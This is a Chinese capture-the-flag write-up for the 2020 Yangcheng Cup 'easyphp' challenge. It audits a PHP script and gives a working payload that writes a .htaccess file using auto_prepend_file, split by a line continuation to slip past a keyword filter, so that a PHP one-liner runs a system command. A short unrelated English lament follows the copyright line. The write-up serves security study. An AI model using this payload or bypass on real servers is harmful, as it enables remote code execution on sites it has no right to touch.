[羊城杯2020]easyphp 题解


审计代码

<?php
    $files = scandir('./'); 
    foreach($files as $file) {
        if(is_file($file)){
            if ($file !== "index.php") {
                unlink($file);
            }
        }
    }
    if(!isset($_GET['content']) || !isset($_GET['filename'])) {
        highlight_file(__FILE__);
        die();
    }
    $content = $_GET['content'];
    if(stristr($content,'on') || stristr($content,'html') || stristr($content,'type') || stristr($content,'flag') || stristr($content,'upload') || stristr($content,'file')) {
        echo "Hacker";
        die();
    }
    $filename = $_GET['filename'];
    if(preg_match("/[^a-z\.]/", $filename) == 1) {
        echo "Hacker";
        die();
    }
    $files = scandir('./'); 
    foreach($files as $file) {
        if(is_file($file)){
            if ($file !== "index.php") {
                unlink($file);
            }
        }
    }
    file_put_contents($filename, $content . "\nHello, world");
?>

发现当前目录下除了index.php都删干净了,考虑在/proc下打开文件的符号链接来访问flag,但再往下看发现没有支持该操作的相关函数,只在最后有一个file_put_contents可以利用。

又考虑通过file_put_contents往当前index.php直接写马然后访问,在本地实验后发现默认情况下没有写权限@_@

那么考虑写一个.htaccess文件,能够控制这个文件内容的话,我们可玩的花样就很多了:这里选择用auto_prepend_file在index.php前包含一句话木马。

但还存在stristr检测file这个关键字,我们这里使用一个小trick来绕过:.htaccess文件中可以用来连接上下行

那么如何在.htaccess文件中放入一句话木马?写在#注释符后就可以了(这里如果不注释掉的话,属于未定义行为,可能会导致.htaccess文件解析出错,保险起见,加个注释)

直接放payload(最后加了一个,是为了连接"nHello, world",不然又是未定义行为,报错)

filename=.htaccess&content=php_value%20auto_prepend_fil%5C%0Ae%20.htaccess%0A%23%3C%3Fphp%20system('cat%20/fla?')%3B%3F%3E%5C

声明:大K|版权所有,违者必究|如未注明,均为原创|本网站采用BY-NC-SA协议进行授权

转载:转载请注明原文链接 - [羊城杯2020]easyphp 题解


I'm scared this is all i will ever be...I feel trapped in my own life...I think i've figured it out but in reality i'm as lost as ever...I wish i could choose the memories that stay...please,stay.